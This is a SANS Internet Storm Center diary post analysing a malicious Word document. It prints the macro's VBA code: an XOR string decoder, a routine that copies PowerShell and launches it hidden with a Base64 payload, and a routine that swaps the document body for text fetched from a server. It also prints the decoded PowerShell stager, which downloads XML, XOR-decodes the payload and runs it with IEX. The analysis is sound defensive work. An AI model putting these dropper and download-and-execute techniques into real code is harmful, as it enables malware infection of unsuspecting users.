Threat Level: green Handler on Duty: Johannes Ullrich

SANS ISC: Malicious Word Document with Dynamic Content - SANS Internet Storm Center SANS ISC InfoSec Forums

Participate: Learn more about our honeypot network

Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!
Malicious Word Document with Dynamic Content

Here is another malicious Word document that I spotted while hunting. "Another one?" may ask some of our readers. Indeed but malicious documents remain a very common infection vector and you learn a lot when you analyze them. I was recently asked to talk about Powershell (de)obfuscation techniques. When you're dealing with an incident in a corporate environment, you don't have time to investigate in deep. The incident must be resolved as soon as possible because the business must go on and a classic sandbox analysis is performed to get the feedback: It's malicious or not.

The document has a nice VT score: 38/64 (SHA256:d317d07872fe22a85824a691b069a6e6ffab09d67bf2ed67b7b65432c0bc882e)[1]. Based on VirusTotal, it  was uploaded for the first time in March but we resubmited recently and deserves a diary for two reasons.

The first one is the obfuscation technique used by the attackers. It mimics perfectly an example of a malicious document that we analyze in the FOR610 training[2]. All interesting strings are XOR-encoded and decoded on the fly with the help of the following function:

Function XorC(ByVal sData As String, ByVal sKey As String) As String
    Dim l As Long, i As Long, byIn() As Byte, byOut() As Byte, byKey() As Byte
    Dim bEncOrDec As Boolean
    If Len(sData) = 0 Or Len(sKey) = 0 Then XorC = "Invalid argument(s) used": Exit Function
    If Left$(sData, 3) = "xxx" Then
        bEncOrDec = False
        sData = Mid$(sData, 4)
        bEncOrDec = True
    End If
    byIn = sData
    byOut = sData
    byKey = sKey
    l = LBound(byKey)
    For i = LBound(byIn) To UBound(byIn) - 1 Step 2
        byOut(i) = ((byIn(i) + Not bEncOrDec) Xor byKey(l)) - bEncOrDec
        l = l + 2
        If l > UBound(byKey) Then l = LBound(byKey)
    Next i
    XorC = byOut
    If bEncOrDec Then XorC = "xxx" & XorC
End Function

Here are some examples:

str = XorC("xxxs ngY`V_GCncICFU]ngY`V_GCb_GUDcZU^^nH nB_GUDCZU^^ UJU", "1")


str = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"

How the macro behaves?

First, the Powershell executable is copied into 'C:\Temp\init.exe' then launched with a chunk of Base64-encoded data:

Sub CallP()
    Dim str As String
    str = XorC("xxxsngY`V_GCncICFU]ngY`V_GCb_GUDcZU^^nH nB_GUDCZU^^ UJU", "1")
    Dim tmp As String
    tmp = Environ("TEMP") & "\init.exe"
    Set j = CreateObject(XorC("xxxcSDYBFY`W xY^UcICFU]T\USF", "1"))
    res = j.CopyFile(str, tmp)
    Set wm = GetObject(XorC("xxxGY`]W]FCgY`obD_SUCC", "1"))
    Set wma = GetObject(XorC("xxxGY`]W]FCgY`obD_SUCCcFQDFEB", "1"))
    wma.ShowWindow = 0
    str = tmp & XorC("xxxW\9'W\9@W\W WS_.#Y4 ,MM8&6@@Y2& _.6,MM15AC& _R", "v")
    str = str & "W1N5c3RlbS5OZXQuU2Vydml ... [Base64 data] ... ci1qb2luJyc7IElFWCAkZA==')))"
    Result = wm.Create(str, Null, wma, processid)
End Sub

The VBA code is not really obfuscated but the Base64-encoded PowerShell code is different:

$a = New-Object System.Xml.XmlDocument;
$ip = 'hxxps://2388371974';
$a.Load($(. {param([string]$b,[int]$n,[int]$s,[int]$c);
$p = @(9,5,6,7);
sal er Get-Random;$(-join(1..$($g*$($x|er))|%{[char][int]((65..90)+(97..122)|er)})).ToLower()};
'{0}/{1}/{2}/{3}/{4}.{5}' -f $b, $(. $u $n $p), $(. $u $s $p), $(. $u $c $p), $(. $u 1 $p), $(. $u 1 3)} $ip $PSVersionTable.CLRVersion.Major 2 $([IntPtr]::Size/2)));
[CHAr[]]$r = [System.Text.Encoding]::UTF8.GetString($([System.Convert]::FromBase64String($;
$k = $($r[($r.Length-44)..($r.Length-13)]-join'');
[CHAr[]]$r = $r[14..($r.Length-57)]|%{$_-BXor$k[$I++%$k.LeNGtH]};
$d = $r-join'';
IEX $d

This code fetches some XML content thought:

$a = New-Object System.Xml.XmlDocument;

The generated URL is:


From the XML file, another chunk of Base64 data is decoded from the node '$':

[CHAr[]]$r = [System.Text.Encoding]::UTF8.GetString($([System.Convert]::FromBase64String($;

This code is next XOR'd with the key that is extracted from the decoded string above:

$k = $($r[($r.Length-44)..($r.Length-13)]-join'');
[CHAr[]]$r = $r[14..($r.Length-57)]|%{$_-BXor$k[$I++%$k.LeNGtH]};

Unfortunately, the XML document can't be fetched (the server returns an HTTP error 500). I tried from multiple locations with multiple User-Agent, no luck.

The second interesting behavior is the way the document body is updated with some content grabbed from a webserver. Here is the document when opened:

And the code used to replace the body with another text:

Sub SetCont()
    Dim objHTTP As Object
    Set objHTTP = CreateObject("MSXML2.ServerXMLHTTP")
    objHTTP.Open "GET", "", False
    objHTTP.send ("")
    ActiveDocument.Content.Text = objHTTP.responseText
End Sub

This is a great way to make the victim confident about the document. In this case, a simple text file is fetched but we could imagine that the attacker will request data based on the victim's environment (like the language). Simple and efficient...


Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant

I will be teaching next: Reverse-Engineering Malware: Malware Analysis Tools and Techniques - SANS Amsterdam August 2022


697 Posts
ISC Handler
Sep 23rd 2020

Sign Up for Free or Log In to start participating in the conversation!